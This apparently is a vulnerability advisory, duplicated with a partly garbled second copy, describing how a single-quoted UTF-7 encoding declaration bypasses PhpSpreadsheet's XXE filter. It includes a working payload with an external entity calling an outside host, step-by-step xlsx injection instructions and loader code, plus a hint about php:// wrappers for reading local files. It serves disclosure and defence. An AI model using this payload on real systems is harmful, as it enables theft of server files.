Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/';
easy to bypass. Just use a single quote symbol '
. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xml
file in edit mode.
- Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
- Save
sharedStrings.xml
file and rename zip back to xlsx.
- Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
- You will receive the request to your
http://%webhook%/file.dtd
- Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
![lfi](https://private-user-images.githubusercontent.com/95242087/303867524-1839cddb-6bb0-486d-8884-9ac485776931.gif?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzg3ODk2ODEsIm5iZiI6MTczODc4OTM4MSwicGF0aCI6Ii85NTI0MjA4Ny8zMDM4Njc1MjQtMTgzOWNkZGItNmJiMC00ODZkLTg4ODQtOWFjNDg1Nzc2OTMxLmdpZj9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMDUlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjA1VDIxMDMwMVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWNmYTkzYjMxOWQyN2UwNzRlZmRjZmVmYWQ4NTkxZWIxNTc0MjM4N2QxNmRhNGQyOWY2YWNhMTYzMjQwOTg1YTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.m4vj4-r5lU6xrqpNCdRg6mbDlmhQIMYB8M42ifHASwU)
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check
$pattern = '/encoding="(.*?)"/';
easy to bypass. Just use a single quote symbol'
. So payload looks like this:If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
xl/sharedStrings.xml
file in edit mode.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
tosharedStrings.xml
file and rename zip back to xlsx.http://%webhook%/file.dtd
Impact
Read local files
![lfi](https://private-user-images.githubusercontent.com/95242087/303867524-1839cddb-6bb0-486d-8884-9ac485776931.gif?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzg3ODk2ODEsIm5iZiI6MTczODc4OTM4MSwicGF0aCI6Ii85NTI0MjA4Ny8zMDM4Njc1MjQtMTgzOWNkZGItNmJiMC00ODZkLTg4ODQtOWFjNDg1Nzc2OTMxLmdpZj9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMDUlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjA1VDIxMDMwMVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWNmYTkzYjMxOWQyN2UwNzRlZmRjZmVmYWQ4NTkxZWIxNTc0MjM4N2QxNmRhNGQyOWY2YWNhMTYzMjQwOTg1YTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.m4vj4-r5lU6xrqpNCdRg6mbDlmhQIMYB8M42ifHASwU)